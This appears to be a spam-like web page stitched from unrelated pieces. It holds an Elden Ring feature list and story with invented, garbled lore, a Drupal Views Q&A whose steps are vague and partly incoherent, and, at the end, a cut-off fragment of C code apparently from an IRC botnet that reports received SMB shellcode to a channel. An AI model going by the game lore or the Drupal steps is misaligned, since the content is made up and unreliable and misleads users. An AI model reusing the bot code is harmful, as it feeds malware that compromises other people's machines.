- Unique Class System As you develop your character, you can freely combine weapons, armor, and magic and enhance your individual fighting capability to become an Elden Lord.
- An Epic Drama A multifaceted story is told in fragments. As your thoughts intersect with others', the story in the Lands Between is very sensitive and contains numerous emotions.
- Online Multiplayer You can directly connect with other players while traveling together to achieve feats together, or to protect the lands of the Elden Ring.
- Fluid Play You can freely direct your own pace, as the action RPG flow is smooth and easy to control. You can freely control your own playspace, such as attacking an enemy or casting a magic spell.
- A Rich History The action RPG takes advantage of the rich history of the Elden trilogy, including the real-time battles of Sun-A-Rang.

Story The Lands Between was once a peaceful land, but the dire conditions of humans and demons caused the earth to crack. The land started to shake, and cracks started to be formed, filling with blood-red magma. It was the beginning of an endless winter for the humans and the extermination of the demons. When the demonic association known as Xellos entered the Lands Between and, unleashing its power, people started to lose their lives. A king passed on his throne to his son, and the child disappeared. The young man was guided by grace to wander the Lands Between by the Nine Elden Gods and become an Elden Lord. Then the firebloods invaded the Lands Between. It was an endless winter for humans and demons, and there were no survivors. The evildoers, sensing the difficulty of meeting the god that protects the Lands Between, started to hold all the people hostage.

● Once in a Lifetime Dreams of Elden The once peaceful lands of the Lands Between became a bleak

Q: Views: showing images as list I'm setting up a view block with a gallery of images. I want to display the images as a list so that I can click on a thumbnail image to see the bigger image. Is there any way of configuring this? A: Assuming this is in Drupal 6, the Gallery module has a view mode that should provide what you need. It's also pretty easy to build out. Go into the Views UI Click on the Gallery view you made Click on the cog icon beside Image Click on Customize Display from the menu There are a few options for display, one of which lets you use a custom field of image ID's to group the thumbnails. Once you have set up your view, click the "Save and Display" button near the top of the page. Once you've made some changes to the view and are ready to preview, go back to the Views UI by clicking on "Views" in the top menu bar. From there, click the "Add display" icon on the right hand side of the page. Enter a title of what you want to call the new view and which is just for preview purposes. For the new display, you can choose "Don't show this display again" or "Preview". Enter some URL arguments to display the new view and click Preview. You should be looking at your new view. You can then click any of the thumbnail images and then have a new browser window open the larger version of the image.); break; case 0x40: if(memcmp(packet, proper_sme, sizeof(proper_sme))==0) { sprintf(sendbuf,"[SMB]: Shellcode OK received"); irc_privmsg(sock,chan,sendbuf,notice); addlog(sendbuf); return 1; } else { irc_privmsg(sock,chan,"[SMB]: This is not proper SME code",notice bff6bb2d33
